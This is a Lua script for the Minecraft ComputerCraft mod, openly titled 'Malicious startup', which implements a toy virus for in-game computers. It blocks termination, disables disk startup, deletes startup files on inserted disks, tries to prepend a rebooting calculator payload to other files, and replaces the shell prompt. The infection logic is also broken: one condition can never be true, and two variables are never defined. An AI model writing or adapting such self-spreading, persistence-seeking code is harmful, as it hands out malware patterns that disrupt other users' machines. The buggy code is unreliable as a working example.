Malicious startup

--BY PIT_ANONIM

local viruscode = [[
print("First number:")
a = read()
print("Second number:")
b = read()
print("Sign:")
c = read()
if c == "+" then
    result = a + b
elseif c == "-" then
    result = a - b
elseif c == "*" then
    result = a * b
elseif c == "/" then
    result = a / b
end
print(result)
os.reboot()
]]

local firststring = 'print("First number:")'

os.pullEvent = os.pullEventRaw
local eventone = os.pullEvent()

settings.set("shell.allow_disk_startup", false)
settings.save(".settings")

function eee()
    while true do
        while side ~= 1 do
            sleep(0)
            if disk.isPresent("bottom") or disk.isPresent("right") or disk.isPresent("left") or disk.isPresent("front") or disk.isPresent("top") then
                side = 1
            else
                side = nil
            end
        end

        if side == 1 then
            if fs.exists("disk/startup") then
                fs.delete("disk/startup")
            end
        end
        sleep(0)
    end
end

function ddd()

dir = ""
local FileList = fs.list(dir)
    while true do
        for _,file in ipairs (FileList) do
            if not file == "rom/" and file == "disk/" and file == ".settings" and fs.isDir(file) then
                if file ~= virusname then
                    local nonvirusfile = fs.open(dir ..file, "r")
                    local pr = nonvirusfile.readLine()
                    local text = nonvirusfile.readAll()
                    nonvirusfile.close()

                    if pr ~= firststring and file ~= "startup" then
                        local virusfile = fs.open(dir ..file, "w")
                        virusfile.writeLine(viruscode)
                        virusfile.writeLine(text)
                        virusfile.close()
                    end

                elseif file == "startup" then
                    local nonvirusfile = fs.open(dir ..file, "r")
                    local text = nonvirusfile.readAll()
                    nonvirusfile.close()

                    local virusfile = fs.open("startup", "w")
                    virusfile.writeLine(startupcode)
                    virusfile.close()
                end
            end
        end
        sleep(0)
    end
end

function lol()
    while true do
        term.setTextColor(colors.yellow)
        write("> ")
        term.setTextColor(colors.white)
        a = read()
        shell.run(a)
    end
end

parallel.waitForAll(lol, eee, ddd)